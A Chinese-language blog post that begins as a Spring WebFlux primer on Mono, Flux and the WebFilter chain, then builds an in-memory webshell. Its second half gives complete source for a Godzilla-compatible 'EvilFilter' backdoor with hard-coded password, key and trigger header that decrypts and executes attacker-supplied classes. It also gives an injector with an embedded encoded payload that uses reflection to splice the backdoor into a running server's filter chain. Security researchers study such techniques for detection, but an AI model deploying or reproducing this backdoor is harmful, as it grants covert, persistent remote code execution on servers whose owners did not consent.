前言
最近开发的项目需要用上,学习一下
WebFlux 是 Spring Framework 5 引入的响应式 Web 框架,旨在构建非阻塞、异步、高并发的 Web 应用程序。它基于 Reactive Streams 规范,通过 Reactor 库实现响应式编程模型。传统 Spring MVC 基于 Servlet 的同步阻塞模型,每个请求占用一个线程;而 WebFlux 采用事件驱动模型,通过少量线程处理大量请求,减少线程阻塞和资源浪费
WebFluxDemo
先来写个demo了解一些WebFlux的基本构成。


其实和SpringMVC比较类似,下面是一个小Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package cmisl.webfluxmemoryshell.controller; import cmisl.webfluxmemoryshell.model.Message; import org.springframework.web.bind.annotation.*; import reactor.core.publisher.Flux; import reactor.core.publisher.Mono; @RestController @RequestMapping("/api/messages") public class MessageController { @GetMapping("/{id}") public Mono<Message> getMessageById(@PathVariable String id) { return Mono.just(new Message(id, "Hello from WebFlux!")); } @GetMapping public Flux<Message> getAllMessages() { return Flux.just( new Message("1", "First message"), new Message("2", "Second message"), new Message("3", "Third message") ); } @PostMapping public Mono<String> createMessage(@RequestBody Message message) { return Mono.just("Message created: " + message.getContent()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package cmisl.webfluxmemoryshell.model; public class Message { private String id; private String content; public Message() {} public Message(String id, String content) { this.id = id; this.content = content; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public String getId() { return id; } public void setId(String id) { this.id = id; } }
|


基础知识
发布——订阅模式
一种软件架构设计模式,用于解耦生产者(发布者)和消费者(订阅者)之间的关系,使得系统可以灵活应对高并发、异步处理和动态扩展。
下面是该模型下的一些基本概念。
- 发布者(Publisher):生成消息但不指定接收者,仅将消息发布到特定主题(Topic)。例如,电商系统中订单创建后发布“订单已支付”事件。
- 订阅者(Subscriber):通过订阅感兴趣的主题接收消息。例如,库存服务订阅“订单已支付”事件以扣减库存。
- 消息代理(Message Broker):作为中间枢纽,负责接收、存储和路由消息。例如 RabbitMQ 的 Exchange 和 Kafka 的 Topic 机制
交互流程也比较简单,发布者将消息发送到消息代理中,代理根据主题或者内容的过滤规则将消息路由到匹配的订阅者。订阅者则通过异步的方式接收消息,无需与发布者直接交互。
1 2 3
| [发布者] → [消息代理] → [订阅者] │ │ └── 发布消息 └── 订阅兴趣
|
Mono和Flux
从上面的一个Demo中,会发现控制器的返回类型是Mono<T>
或Flux<T>
。
WebFlux主要基于响应式编程框架 Reactor的,而Mono 和 Flux 正是 Reactor 中的核心类型,分别代表 0/1 个元素和 0/N 个元素的异步数据流。两者均是Publisher的实现。
Mono:单一结果或空值的异步容器
定义与特性
Mono 表示一个可能包含 0 或 1 个元素 的异步序列,或仅发出完成/错误信号。其底层实现基于 Reactive Streams 规范的 Publisher
接口,但通过语义约束明确单值特性。例如,数据库查询单条记录、HTTP 请求响应等场景天然适配 Mono。
核心逻辑:Mono 的生命周期仅有一次数据发射机会,无论成功(一个元素)、空(无元素)或失败(错误)。这种设计使其在需要明确结果边界的场景中高效且直观。
应用场景
- 单次 I/O 操作:如
WebClient
发起的 HTTP GET 请求,返回单个 JSON 对象。
1 2 3 4
| Mono<User> user = webClient.get() .uri("/users/1") .retrieve() .bodyToMono(User.class);
|
- 数据库查询:通过 Spring Data R2DBC 执行
SELECT
语句获取单条记录。

Flux:多元素流式处理的通用容器
定义与特性
Flux 表示一个可能包含 0 到 N 个元素 的异步序列,支持无限流。其设计目标是处理批量数据、实时事件流或持续数据管道。例如,分页查询结果、Kafka 消息流或传感器实时数据均适合用 Flux 表达。
核心逻辑:Flux 允许动态发射多个元素,并通过背压机制协调生产与消费速率。其生命周期包含多次数据发射、中间转换及最终完成或错误信号。
应用场景
- 批量数据处理:如从数据库批量读取记录并逐条转换。
1 2
| Flux<User> users = Flux.range(1, 100) .flatMap(id -> userRepository.findById(id));
|

WebFlux中的Filter
Spring WebFlux 没有监听器Listener和拦截器interceptor,但是任然存在Filter用于拦截请求并做处理。WebFlux的Filter 可分为 WebFilter
和 HandlerFilterFunction
两类。
WebFilter
下面是一个Spring WebFlux WebFilter的demo。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package cmisl.webfluxmemoryshell.filter; import org.springframework.core.annotation.Order; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; import java.time.Duration; import java.time.Instant; @Component @Order(1) public class RequestLogFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { Instant startTime = Instant.now(); String path = exchange.getRequest().getPath().value(); return chain.filter(exchange) .doOnSuccess(aVoid -> { Duration duration = Duration.between(startTime, Instant.now()); System.out.println("Request processed: " + path + " | Time taken: " + duration.toMillis() + "ms"); }); } }
|
启动后访问控制器中的接口。

在过滤器中打上断点然后再次访问,可以看到过滤器存在在一个DefaultWebFilterChain中。

有点类似tomcat的filter的责任链机制,调用chain的filter方法,然后会走到invokeFilter中去调用链中过滤器的filter方法,过滤器的filter正在return的时候会再次走到chain的filter方法,然后依次调用过滤器的filter方法。

DefaultWebFilterChain类存在三个构造方法,其中一个被@Deprecated注解标记表示已弃用,那不管他,剩下两个打上断点,重新调试启动项目。
这里是进入到公有的构造函数,实际上这里构造完之后的是一个递归链的结构,每个DefaultWebFilterChain实例持有当前过滤器(currentFilter)和剩余链(chain),形成递归式的链式调用关系。
不过从上层角度看,只需要调用公有构造函数,传入过滤器的数组就可以生成过滤器链。

往上追溯哪里生成过滤器链的话,就会到FilteringWebHandler这个类中,直接调用公有构造函数生成过滤器链,然后将链赋值给chain属性。因此暂且有了一个构造内存马的大致思路,制作一个恶意WebFilter,然后在调用DefaultWebFilterChain公有构造函数的时候,将恶意WebFilter作为参数一部分传入,随后将这个过滤器链赋值给FilteringWebHandler实例的chain属性中。
至于新增过滤器的思路,上诉也提到过这是一个递归链结构。每个DefaultWebFilterChain实例持有当前过滤器(currentFilter)和剩余链(chain)。想要新增一个过滤器进去可不只是修改一个allFilters变量这么简单。如果新增的话可以考虑新增一个DefaultWebFilterChain实例到递归连中一个节点的chain属性上。

调用公有构造函数构造DefaultWebFilterChain的参数,一个是handler,一个是filters,也就是所有过滤器的一个列表。获取起来并不困难,都是chain中可以找到的。

那么接下来就是需要寻找FilteringWebHandler类中的chain属性,也就是DefaultWebFilterChain这个实例了。这里可以用到c0ny1师傅的一个工具:c0ny1/java-object-searcher: java内存对象搜索辅助工具,该工具可以方便我们定位想要的对象处于在哪个位置。
因此用该工具去寻找我们自定义的过滤器也好,或者直接找DefaultWebFilterChain实例也好,都是可行的。
我这里新定义一个Filter来查找。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package cmisl.webfluxmemoryshell.filter; import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; import org.springframework.core.annotation.Order; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; import java.time.Duration; import java.time.Instant; import java.util.ArrayList; import java.util.List; @Component @Order(2) public class SearchFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("SearchFilter").build()); List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); searcher.setBlacklists(blacklists); searcher.setIs_debug(true); searcher.setMax_search_depth(15); searcher.setReport_save_path("E:\\"); searcher.searchObject(); return chain.filter(exchange); } }
|
结果在指定的目录下
1 2 3 4 5 6 7 8 9 10 11 12 13
| TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain} ---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>} ---> [1] = {cmisl.webfluxmemoryshell.filter.SearchFilter}
|
到此为止可以宣布完成了,由于最近项目就是经常要看哥斯拉源码,下面直接编写哥斯拉的Shell了。先写个恶意WebFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| package cmisl.webfluxmemoryshell.filter; import org.springframework.core.annotation.Order; import org.springframework.core.io.buffer.DefaultDataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.http.HttpHeaders; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.lang.reflect.Method; import java.math.BigInteger; import java.net.URL; import java.net.URLClassLoader; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.util.HashMap; import java.util.Map; @Component @Order(3) public class EvilFilter implements WebFilter { public static Map<String, Object> store = new HashMap(); String xc = "082e34fbef497bb1"; String pass = "cmisl"; public String headerName = "cmisl"; public String headerValue = "cmisl"; String md5 = md5(pass + xc); Class payload; private static Class defineClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { MessageDigest m; m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { HttpHeaders headers = exchange.getRequest().getHeaders(); String userAgent = headers.getFirst("cmisl"); Object bufferStream = null; if (headers.getFirst(this.headerName) != null && headers.getFirst(this.headerName).contains(this.headerValue)) { bufferStream = exchange.getFormData().flatMap(c -> { StringBuilder result = new StringBuilder(); try { String id = c.getFirst(pass); byte[] data = x(base64Decode(id), false); if (store.get("payload") == null) { store.put("payload", defineClass(data)); } else { store.put("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) store.get("payload")).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0, 16)); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true))); result.append(md5.substring(16)); } } catch (Exception ex) { result.append(ex.getMessage()); } return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); }); } return exchange.getResponse().writeWith((Mono<DefaultDataBuffer>) bufferStream); } }
|
密码cmisl,密钥cmisl,请求头cmisl: cmisl。

然后写个注入Webfilter的代码,也就是注入器。在此之前先把刚刚的EvilFilter,首先编译成class,然后gzip压缩,压缩后的文件base64编码。这就是在注入器中要注入的恶意过滤器的编码了。

注入器的代码也不是很难,模仿哥斯拉的其他注入器模板就行了。下面的再简单修改一下就能写进哥斯拉了,哥斯拉本身还是没有写这个类型的内存马的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196
| package cmisl.webfluxmemoryshell.inject; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebHandler; import org.springframework.web.server.handler.DefaultWebFilterChain; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.ArrayList; import java.util.List; import java.util.zip.GZIPInputStream; public class EvilInjection { public static void main(String[] args) { } public String getUrlPattern() { return "/*"; } public String getClassName() { return "cmisl.webfluxmemoryshell.filter.EvilFilter"; } public String getBase64String() throws IOException { return "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"; } public EvilInjection() { try { Object filteringWebHandler = getFilteringWebHandler(); Object defaultWebFilterChain = getDefaultWebFilterChain(filteringWebHandler); Object webFilter = getWebFilter(); addWebFilter(filteringWebHandler, defaultWebFilterChain, webFilter); } catch (Exception ignored) { } } private Object getFilteringWebHandler() throws Exception { Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); Object FilteringWebHandler = null; for (int i = 0; i < threads.length; i++) { try { FilteringWebHandler = getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"); return FilteringWebHandler; } catch (Exception ignored) { } } return FilteringWebHandler; } private Object getDefaultWebFilterChain(Object filteringWebHandler) throws Exception { Object chain = null; try { chain = getFV(filteringWebHandler, "chain"); return chain; } catch (Exception e) { } return chain; } private Object getWebFilter() { Object webfilter = null; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { webfilter = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { try { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); webfilter = clazz.newInstance(); } catch (Exception ignored) { } } return webfilter; } private void addWebFilter(Object filteringWebHandler, Object defaultWebFilterChain, Object webFilter) throws Exception { Object handler = getFV(defaultWebFilterChain, "handler"); List<WebFilter> AllFilters = new ArrayList<>(((DefaultWebFilterChain) defaultWebFilterChain).getFilters()); AllFilters.add(0, (WebFilter) webFilter); DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, AllFilters); Field chainField = filteringWebHandler.getClass().getDeclaredField("chain"); chainField.setAccessible(true); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); modifersField.setInt(chainField, chainField.getModifiers() & ~Modifier.FINAL); chainField.set(filteringWebHandler, newChain); modifersField.setInt(chainField, chainField.getModifiers() & Modifier.FINAL); } private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class<?> decoderClass; try { decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } catch (Exception ignored) { decoderClass = Class.forName("java.util.Base64"); Object decoder = decoderClass.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } } public static byte[] gzipDecompress(byte[] compressedData) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(compressedData); GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } return out.toByteArray(); } private static Object getFV(Object obj, String fieldName) throws Exception { Field field = getF(obj, fieldName); field.setAccessible(true); return field.get(obj); } private static Field getF(Object obj, String fieldName) throws NoSuchFieldException { Class<?> clazz = obj.getClass(); while (clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } throw new NoSuchFieldException(fieldName); } private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } }
|
参考文章
设计模式|发布-订阅模式(Publish-Subscribe Pattern)_发布订阅模式-CSDN博客
Java反应式框架Reactor中的Mono和Flux - 码农小胖哥 - 博客园
一文弄懂 Spring WebFlux 的来龙去脉 - 知乎